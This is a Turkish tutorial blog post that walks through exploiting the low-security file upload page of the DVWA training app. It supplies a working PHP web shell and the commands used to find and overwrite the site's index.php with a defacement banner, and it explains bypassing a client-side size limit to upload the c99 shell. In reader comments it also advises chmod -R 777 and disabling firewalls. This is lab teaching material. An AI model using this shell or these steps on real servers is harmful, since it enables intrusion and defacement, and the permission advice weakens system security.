Ders 11 - File Upload (Low Level)
Bu yazıda DVWA adlı web uygulamasının içerisinde bulunan bir sayfanın güvenlik zafiyetinden faydalanarak File Upload yoluyla saldırıda bulunulacaktır.

Dersin Hedefi

Hedefiniz DVWA'nın anasayfasını hack'lemektir.

File Upload Nedir?

File Upload herkesin tahmin edebileceği gibi dosyaların arayüzdeki butonlar aracılığıyla uzak sisteme transfer edilmesi işlemine denir.

File Upload ile Nasıl Site Hack'lenir?

Bir php dosyası oluşturun. Mesela adına shell.php deyin. Ardından aşağıdaki kodları shell.php dosyasına kaydedin:



<form action="" method="GET" encytype="application/x-www-form-urlencoded">
	<table style="margin-left:auto; margin-right:auto;">
		<tr>
			<td colspan="2">Lütfen bir sistem komutu girin</td>
		</tr>
		<tr><td></td></tr>
		<tr>
			<td>Komut</td>
			<td>
				<input type="text" name="pCommand" size="50"/>
			</td>
		</tr>
		<tr>
			<td></td>
		</tr>
		<tr>
			<td colspan="2" style="text-align:center;">
				<input type="submit" value="Komutu Çalıştır"/>
			</td>
		</tr>
	</table>
</form>
<?php 
	echo "
";
	echo shell_exec(@$_REQUEST["pCommand"]); 
	echo "
"; ?>


Ardından DVWA'nın File Upload sayfasından shell.php'iyi sisteme yükleyin. Yüklediğinizde şöyle bir bildirimle karşılaşacaksınız:





Kırmızı bildirimde görebileceğiniz üzere upload'ladığınız dosyanın bulunduğu link ifade edilmiş. O linke göre bulunduğumuz dizinin 2 kademe yukarısına çıkıp oradan hackable klasörüne sapıp oradan uploads'a geçerek upload'ladığımız dosyaya tarayıcı üzerinden erişebiliriz. Şimdi öyle yapalım. Bulunduğumuz dizin şudur:

http://localhost/dvwa/vulnerabilities/upload/#



İki kademe yukarı çıkarsak link şu olur:

http://localhost/dvwa/#



Ardından /hackable/uploads dizinine dallanalım:

http://localhost/dvwa/hackable/uploads/


Böylelikle upload'ladığımız shell.php dosyasının hedef sistemde bulunduğu dizine ulaşmış oluruz. Gerçek bir hack işlemi sırasında upload'lanan dosyanın yeri site tarafından kullanıcıya genellikle bildirilmez. Bu durumda saldırganın işi güçleşir. Fakat bir web sitesi düşünelim. Bu web sitesinde son kullanıcı resim upload'layabiliyor olsun. Saldırgan bu mekanizmanın yüklediği dosyaların nereye yüklendiğini öğrenebilmek için deneme maksadıya bir resim yükleyip web sitesinde resmi teşhir edildiği yere geçebilir ve görüntülenen resmin linkini sağ tık ile alarak upload'lanan dosyaların nereye gittiğini öğrenebilir.

Şimdi yüklediğimiz shell dosyasını görüntülemek için aşağıdaki linki tarayıcınıza girin:

http://localhost/dvwa/hackable/uploads/shell.php



Ekrana şöyle bir çıktı gelecektir:





Ekrandaki metin kutusuna gireceğiniz her bir Terminal/CMD komutu hedef sistem üzerinde çalıştırılacaktır ve dönen yanıt ekrana echo komutu ile basılacaktır. Hedef sistemin Linux bir sistem olduğunu varsayalım ve web sitenin anasayfasını bulmak maksadıyla keşif mahiyetinde bazı kodlar girelim. Ardından çıktılara göz atalım:





Girilen Komut: ls

shell.php dosyasının bulunduğu dizindeki dosyaların isimlerini ls komutu ile sıraladık. Şimdi bir üst dizine çıkıp üst dizindeki dosyaların isimlerini sıralayalım:





Girilen Komut: cd ..; ls

cd .. komutu sayesinde bir üst dizine çıktık. ls komutu ile de bulunulan dizindeki dosyaları sıraladık. .Şimdi bir üst dizine daha geçerek orada yer alan dosyaları sıralayalım:





Girilen Komut: cd ..; cd ..; ls

Resimdeki seçili dosya isminden görebileceğiniz üzere DVWA'nın anasayfa dosyasını tespit ettik. Şimdi bu sayfaya Hacked By Falan Filan diyerek sayfayı hack'leyelim.

NOT: Aşağıdaki işlemi yapmadan önce DVWA klasörünüz içindeki index.php'nin bir yedeğini alın. Çünkü içeriğini silip Hacked By Falan Filan yazacağız. İşimiz bittiğinde eski haline döndürmek için yedeği kullanabilirsiniz.



shell.php'deki metin kutusuna aşağıdaki kodu girin:

cd ..; cd ..; echo "<font color=red><center><h1>Hacked By Falan Filan</h1></center></font><br>" > index.php


Komutu çalıştır dediğiniz an anasayfa hack'lenmiş olur. Kontrol etmek için DVWA'nın anasayfasına geçiş yapın:

http://localhost/dvwa/index.php



Linke gittiğiniz takdirde sayfanın hack'lendiğine dair bildirimi görebilirsiniz:





Saldırı kodunda öncelikle iki kademe üst dizine çıkılmıştır. Böylelikle index.php'nin olduğu dizine geçilmiştir. Ardından echo komutu ile bir çıktı üretilmiştir. Oluşturulan bu çıktı echo'nun sağında yer alan > operatörü ile index.php dosyasının üzerine yazılmıştır (echo komutu tıpkı PHP'deki echo komutu gibi çıktı vermeye yarar).

Sayfaya metin eklenebildiği gibi resim, video da eklenebilir. Resim ve video için yapılması gereken şey yukarıdaki girilen saldırı kodunda yer alan echo'dan sonraki tırnakların içine ilgili resmin ya da video'nun linkini html olarak koymaktır.

Sonuç

Kısıtlanmamış bir upload mekanizması yüzünden bir site kolaylıkla hack'lenebilir. Bu tip saldırılara maruz kalmamak için kabul edilecek dosya uzantıları şeklinde PHP gibi bir dille kural oluşturulmalıdır. Kuralın dışında kalan dosyaların sunucuya yüklenmesi engellenmelidir.

Ekstra

Bu derste shell.php adlı dosyanın sunduğu arayüz ile bir sayfa hack'lemiş olduk. Dikkat ederseniz bu dosya adına shell dendi. Daha doğru tabirle web shell. Bunun bir nedeni var. Literatürde shell dosyaları diye geçer bu tip işleve sahip dosyalar. Yani hedef sunucu üzerinde komut çalıştırmamızı sağlayan dosyalara shell denmektedir. PHP dünyasında popüler olarak bilinen shell dosyaları c99.php ve r57.php dosyalarıdır. Bunlar yaklaşık 3000 satırlık koda sahiptir ve yukarıdaki kullandığımız basit shell dosyasına nazaran elle gireceğiniz birçok komut kodları yerine kısayol seçenekleriyle aynı işlemleri yapabilmenizi sağlar. Örneğin yukarıdaki shell.php dosyasını değil de c99.php'yi upload'lasaydınız tarayıcıdan c99.php'ye eriştiğinizde aşağıdaki gibi bir arayüz sizi karşılıyor olurdu:





[!] Uyarı:

c99.php shell dosyası çok fazla sayıda satır sayısına sahip olduğundan ve hedef dosya upload mekanizmasında bir dosya boyutu sınırlaması olduğundan upload'lama girişiminiz başarısız olacaktır. Fakat dosya boyut denetlemesi istemci taraflı yapılmakta olduğundan html kaynak koddaki form alanında, upload'layacağınız dosya ile beraber göndereceğiniz web uygulama dosya boyut limiti değerini elle değiştirebilir ve limiti arttırarak veya komple silerek sunucu kuralını atlatabilirsiniz. Böylece yukarıdaki c99.php dosyasını web sunucuya yükleyebilirsiniz.



























c99 bir kontrol panelini andırıyor değil mi? :) Sayfa hack'lemek için bu derste kullandığımız sistem komutlarını kullanmadan c99.php'nin sunduğu arayüzden anasayfayı hack'lemeniz mümkündür. c99.php sistem komutlarını arkaplanda sizin yerinize yapmaktadır. Hepsi bu kadar.

Yararlanılan Kaynak:

  • https://github.com/ethicalhack3r/DVWA/issues/5
Bu yazı 17.01.2016 tarihinde, saat 05:51:35'de yazılmıştır. 06.05.2019 tarihi ve 11:20:00 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 3847
Yorumlar
yorum
c99.php atılmaya çalışıldığında şu çıktıyı veriyor "Your image was not uploaded." Ne yapabiliriz ?
Bu yorum 17.10.2016 tarihinde, saat 19:06:01'de gönderilmiştir.
Hasan Fatih ŞİMŞEK
shell.php dosyasını upload'layabilir durumdayken mi c99.php'yi upload'layamıyorsunuz yoksa her ikisini de mi upload'layamıyorsunuz? Eğer birinci durumsa dvwa'nın yüklü olduğu sunucudaki güvenlik mekanizmalarına takılıyor olabilirsiniz. Eğer ikinci durumsa sorun tamamen dosya izinleriyle alakalıdır. Dosya izinlerini gevşetmek için /var/www dizininize full izin verin ( chmod -R 777 /var/www ) Böylece sorununuz hallolacaktır. Birinci durum için ise dvwa'nın yüklü olduğu sunucudaki güvenlik duvarını devredışı bırakın ya da dvwa uzak bir sistemse barınıyorsa firewall cihazının kurallarını gevşetin. Böylece sorununuz hallolacaktır.
Bu yorum 27.08.2018 tarihinde, saat 13:05:08'de gönderilmiştir.
Hasan Fatih ŞİMŞEK
@yorum, bahsettiğiniz problemin varlığını keşfettim ve çözümünü uygulamalı Uyarı başlığı altında ilave ettim. Geri bildiriminiz için teşekkürler.
Bu yorum 30.04.2019 tarihinde, saat 09:53:40'de gönderilmiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv


#Giriş

ID :
Şifre :